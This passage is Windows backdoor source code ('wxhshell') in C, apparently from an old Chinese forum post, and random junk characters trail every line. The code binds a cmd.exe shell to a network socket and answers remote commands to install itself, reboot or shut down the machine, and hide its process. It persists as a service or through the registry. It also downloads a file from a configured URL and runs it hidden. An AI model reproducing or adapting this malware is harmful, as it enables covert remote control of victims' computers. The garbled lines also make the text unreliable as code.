  } /'ccFm2  
  else { =* oFs|v  
zxTcjC)y  
    switch(cmd[0]) {  yl0&|Ub  
  y-w=4_W  
  // 帮助 e C?adCb  
  case '?': { 8*-8"It<"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ODm?k  
    break; g"Mqh!{ FI  
  } -,C">T%\  
  // 安装 D6=Z%h\*  
  case 'i': { L0H;y6&  
    if(Install()) s<Px au+A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =i O K($  
    else '/trM%<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B"rnSui  
    break; yV,ki^^  
    } {4SwCN /  
  // 卸载 $6e&sDJ  
  case 'r': { tpOMKh.`  
    if(Uninstall()) h,o/(GNnW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j6]+ fo&3  
    else +P:xB0Tm D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?-1r$z  
    break; KHV5V3q4  
    } KCu@5`p  
  // 显示 wxhshell 所在路径 =NMT H[  
  case 'p': { y !)  
    char svExeFile[MAX_PATH]; rf^ Q%ds  
    strcpy(svExeFile,"\n\r"); xOnbY U  
      strcat(svExeFile,ExeFile); veIR)i@dx  
        send(wsh,svExeFile,strlen(svExeFile),0); %xF j;U?  
    break; azF|L"-RP  
    } (L}  
  // 重启 rH Et]Xa  
  case 'b': { FKRO0%M4}Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #}*w &y  
    if(Boot(REBOOT)) |h$*z9bsf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KE!aa&g  
    else { `@1y|j:m  
    closesocket(wsh); lO3W:,3_a  
    ExitThread(0); dfl| 6R  
    } S<HR6Xw  
    break; o=@ 0Bd8  
    } d$Y3 a^O|  
  // 关机 t\Pn67t  
  case 'd': { nm5zX,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4gbi?UAmX  
    if(Boot(SHUTDOWN)) q/w<>u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ja<pvb  
    else { tl9=u-D13@  
    closesocket(wsh); GG%X1c8K  
    ExitThread(0); {uH 4j4)2  
    } `2`Nu:r^  
    break; m}/LMY  
    } B w?Kb@  
  // 获取shell x}o]R  
  case 's': { l}odW  
    CmdShell(wsh);  t9T3e  
    closesocket(wsh); jm9J-%?  
    ExitThread(0); ] AkHNgW  
    break; ]4~- z3=y  
  } W _j`'WN/  
  // 退出 Z)}q=NjA  
  case 'x': { 7oaa)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !_0kn6 S5  
    CloseIt(wsh); LoZ8;VU  
    break; mw0#Dhyy1=  
    } 0s)B~  
  // 离开 i\hH .7G1  
  case 'q': { f[v~U<\R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *AX)QKQ@  
    closesocket(wsh); yem*g1  
    WSACleanup(); NCbl|v=  
    exit(1); )#ze  
    break; 3S='/^l  
        } w}n:_e  
  } CY2DxP%  
  } .Rl58]x~  
EGMj5@>  
  // 提示信息 s!S,;H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $T* ##kyE9  
} 0=Jf93D5  
  } 2_Me 4  
^ei[#I  
  return; nTrfbK@  
} <q Z"W6&&  
Q|eRek  
// shell模块句柄 @?ntMh6  
int CmdShell(SOCKET sock) 2}`Q9?  
{ R:=C  
STARTUPINFO si; 8\c= Un  
ZeroMemory(&si,sizeof(si)); H{|a+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;-84cpfu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N,v4SIC@  
PROCESS_INFORMATION ProcessInfo; *;A I0  
char cmdline[]="cmd"; Q]X0 O10  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 48,Aq*JFw  
  return 0; SPKen}g  
} ?m-kpW8  
Y68`B"3  
// 自身启动模式 [{3WHS.  
int StartFromService(void) <()xO(  
{ R<W#.mpo6  
typedef struct VuTH"br6  
{ K@xp!  
  DWORD ExitStatus; m(JFlO  
  DWORD PebBaseAddress; N{n}]Js1D-  
  DWORD AffinityMask; 6_/oVvd  
  DWORD BasePriority; i[FcY2  
  ULONG UniqueProcessId; w7\:S>;(O"  
  ULONG InheritedFromUniqueProcessId; zSta !]  
}   PROCESS_BASIC_INFORMATION; pNpj, H*4  
kf~71G+  
PROCNTQSIP NtQueryInformationProcess; js )G   
uYjJDLYoHl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kfb+OE:7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0^44${bA  
[;B_ENV  
  HANDLE             hProcess; 9/C0DDb  
  PROCESS_BASIC_INFORMATION pbi; j}YZl@dYV  
@(.?e<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (zkh`8L  
  if(NULL == hInst ) return 0;  01I5,Dm  
 N3^pFy`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #|*;~:fz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }8Wp X2U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~h-G  
:6LOb f\01  
  if (!NtQueryInformationProcess) return 0; uE:#m.Q  
R =HN>(U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S |T:rc(~  
  if(!hProcess) return 0; ?!(/;RU1  
W.p->,N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @%J?[PG  
G\h8j*o  
  CloseHandle(hProcess); QQ@, v@j5  
G}i\UXFE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , 6\i  
if(hProcess==NULL) return 0; >VP\@xt(R[  
o*/\ oVOq  
HMODULE hMod; l ,)l"6OV  
char procName[255]; g92M\5 x9  
unsigned long cbNeeded; wbI(o4rXE  
| (P%<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P,AS`=z  
9\TvX!)h  
  CloseHandle(hProcess); LXIlrZ9D5  
XboOvdt^|  
if(strstr(procName,"services")) return 1; // 以服务启动 !$h%$se  
18w[T=7)  
  return 0; // 注册表启动 Zx25H"5j  
} Faa:h#  
t&SJ!>7_c  
// 主模块 uR)itmc?  
int StartWxhshell(LPSTR lpCmdLine) 'xZxX3  
{ /6F 1=O(c>  
  SOCKET wsl; @FkNT~OZ  
BOOL val=TRUE; If6wkY6sR  
  int port=0; YkPz ~;  
  struct sockaddr_in door; Y'/`?CK  
.^#{rk  
  if(wscfg.ws_autoins) Install(); 'N='B<^;%  
eFXxkWR)  
port=atoi(lpCmdLine); -a3+C,I8g  
3f's>+,#%  
if(port<=0) port=wscfg.ws_port; /@FB;`'  
k}>l+_*+7  
  WSADATA data; 05*_h0}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'DsfKR^ s  
&0f7>.y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2bX!-h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UE7 P =B  
  door.sin_family = AF_INET; !=&]#-;b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < Q\`2{  
  door.sin_port = htons(port); UkNC|#l)  
l@1f L%f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e_]1e 7t  
closesocket(wsl); /dOQ4VA\  
return 1; ScGmft3A  
} ;~~Oc  
9ciL<'H\  
  if(listen(wsl,2) == INVALID_SOCKET) {  +KFK..  
closesocket(wsl); (]1le|+  
return 1; LDV{#5J  
} JPQ02&e  
  Wxhshell(wsl); /UyW&]nK  
  WSACleanup(); rF~q"9  
Bo%M-Gmu  
return 0; =q xcM+OX1  
vW$] :).  
} 8GlH)J+kq  
u6r-{[W}  
// 以NT服务方式启动 m$LZ3=v%8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \TMRS(  
{ 3%EwA\V(  
DWORD   status = 0; #s yP=  
  DWORD   specificError = 0xfffffff; T82=R@7  
^* DKF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /-|xxy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;prp6(c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 38'H-]8q"  
  serviceStatus.dwWin32ExitCode     = 0; (/*-M]>  
  serviceStatus.dwServiceSpecificExitCode = 0; gu:..'V  
  serviceStatus.dwCheckPoint       = 0; z%g<&Cq  
  serviceStatus.dwWaitHint       = 0; 7gQt k  
*;gi52tM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P{>T?-Hj  
  if (hServiceStatusHandle==0) return; ^E:;8h4$9  
:sA-$*&x  
status = GetLastError(); IBF>4q m"  
  if (status!=NO_ERROR) =~EQ3uX  
{ 5~[ Fh2+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ics  
    serviceStatus.dwCheckPoint       = 0; }<Me%`x"  
    serviceStatus.dwWaitHint       = 0; n--`zx-['  
    serviceStatus.dwWin32ExitCode     = status; aPb!-o{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 15s?QSKj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _%L3?PpF"  
    return; Tf[ ]vqa`G  
  } XqwdJND  
(6A{6_p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U)l>#gf8  
  serviceStatus.dwCheckPoint       = 0; ftH 0aI  
  serviceStatus.dwWaitHint       = 0; jyT(LDsS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PCIC*!{  
} eb8_guZ  
H{$yy)@F  
// 处理NT服务事件,比如:启动、停止 #F6ak,9S4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =VSieh  
{ :m~lgb<  
switch(fdwControl) mcR!P~"i  
{ SMy&K[hJ[  
case SERVICE_CONTROL_STOP: #]'V#[;~  
  serviceStatus.dwWin32ExitCode = 0; 9"aTF,'F/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #nxx\,i>  
  serviceStatus.dwCheckPoint   = 0; i@;a%$5  
  serviceStatus.dwWaitHint     = 0; [&4y@  
  { >L(F{c:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j>:T)zhyY  
  } l00D|W_ 9  
  return; Umd!j,  
case SERVICE_CONTROL_PAUSE: KWYG\#S0]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Af%?WZlOq  
  break; 2U+&F'&Q  
case SERVICE_CONTROL_CONTINUE: 2#[Y/p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !6%mt}h  
  break; Qp54(`  
case SERVICE_CONTROL_INTERROGATE:  \X`P W  
  break; yUG5'<lX  
}; SM<kE<q#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W7 E-j+2  
} GwV FD%  
Rju8%FRO  
// 标准应用程序主函数  %!S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rb0{t[IU  
{ IO'Q}bU4vs  
oGqv,[$qN  
// 获取操作系统版本 Rt|Hma  
OsIsNt=GetOsVer(); ww2Qa-K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L_r & 'B  
{P5@2u6S  
  // 从命令行安装 P(;c`   
  if(strpbrk(lpCmdLine,"iI")) Install(); C"{on%  
YMd&+J`  
  // 下载执行文件 $5IrM 7i  
if(wscfg.ws_downexe) { jJvNN -^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |gz ,Ip{  
  WinExec(wscfg.ws_filenam,SW_HIDE); t;]egk  
} bij?q\  
s*f.` A*)  
if(!OsIsNt) { 12a #]E  
// 如果时win9x,隐藏进程并且设置为注册表启动 (`u!/  
HideProc(); B`aAvD`7  
StartWxhshell(lpCmdLine); fz3*oJ'  
} /WfVG\NF  
else g@k9w{_  
  if(StartFromService()) (ZK >WoV  
  // 以服务方式启动 jh G7sS|  
  StartServiceCtrlDispatcher(DispatchTable); DE ws+y-*  
else m =}X$QF`^  
  // 普通方式启动 ~'MWtDe:Z8  
  StartWxhshell(lpCmdLine); ->8q, W2A  
pxx(BE  
return 0; r\d:fot  
}
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只看该作者 1 发表于: 2006-10-10
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